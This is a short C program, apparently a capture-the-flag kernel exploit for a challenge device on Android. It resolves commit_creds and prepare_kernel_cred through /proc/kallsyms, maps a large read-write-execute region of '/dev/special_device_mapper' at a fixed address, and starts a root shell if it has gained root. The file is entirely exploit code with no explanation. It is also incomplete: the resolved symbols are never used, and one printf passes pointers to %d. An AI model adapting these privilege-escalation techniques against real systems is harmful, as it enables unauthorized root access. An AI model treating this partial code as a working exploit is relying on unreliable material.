#include <stdio.h>
#include <strings.h>
#include <fcntl.h>
#include <sys/mman.h>
#include "dbg.h"

__u32
get_symbol(char *name)
{
        FILE *f;
        __u32 addr;
        char dummy, sname[512];
        int ret = 0;

        f = fopen("/proc/kallsyms", "r");
        if (!f) {
                return 0;
        }

        while (ret != EOF) {
                ret = fscanf(f, "%p %c %s\n", (void **) &addr, &dummy, sname);
                if (ret == 0) {
                        fscanf(f, "%s\n", sname);
                        continue;
                }
                if (!strcmp(name, sname)) {
                        printf("[+] resolved symbol %s to %p\n", name, (void *) addr);
                        return addr;
                }
        }

        return 0;
}

__u32 commit_creds;
__u32 prepare_kernel_cred;

int main(void){

  commit_creds =  get_symbol("commit_creds");
  prepare_kernel_cred = get_symbol("prepare_kernel_cred");

  int device_memory_file = open("/dev/special_device_mapper", O_RDWR);
  check(device_memory_file >= 0, "Error opening challenge device");

   __u32 mmap_start = 0xA000, mmap_size = 0x7fffff00;

   printf("[+] Mapping userspace memory at 0x%x\n", mmap_start);

   void * mapped = mmap((void*)mmap_start, mmap_size, PROT_READ|PROT_WRITE|PROT_EXEC,
       MAP_PRIVATE|MAP_FIXED, device_memory_file, 0x00000);
       printf("%d %d\n", mapped, MAP_FAILED);
   check(mapped != MAP_FAILED, "Failed mapping");

  printf("[+] Kernel memory successfully mapped\n");

  if(!getuid())
    execl( "/system/bin/sh", "sh", (char*) NULL);

  return 0;
error:
  return -1;
}
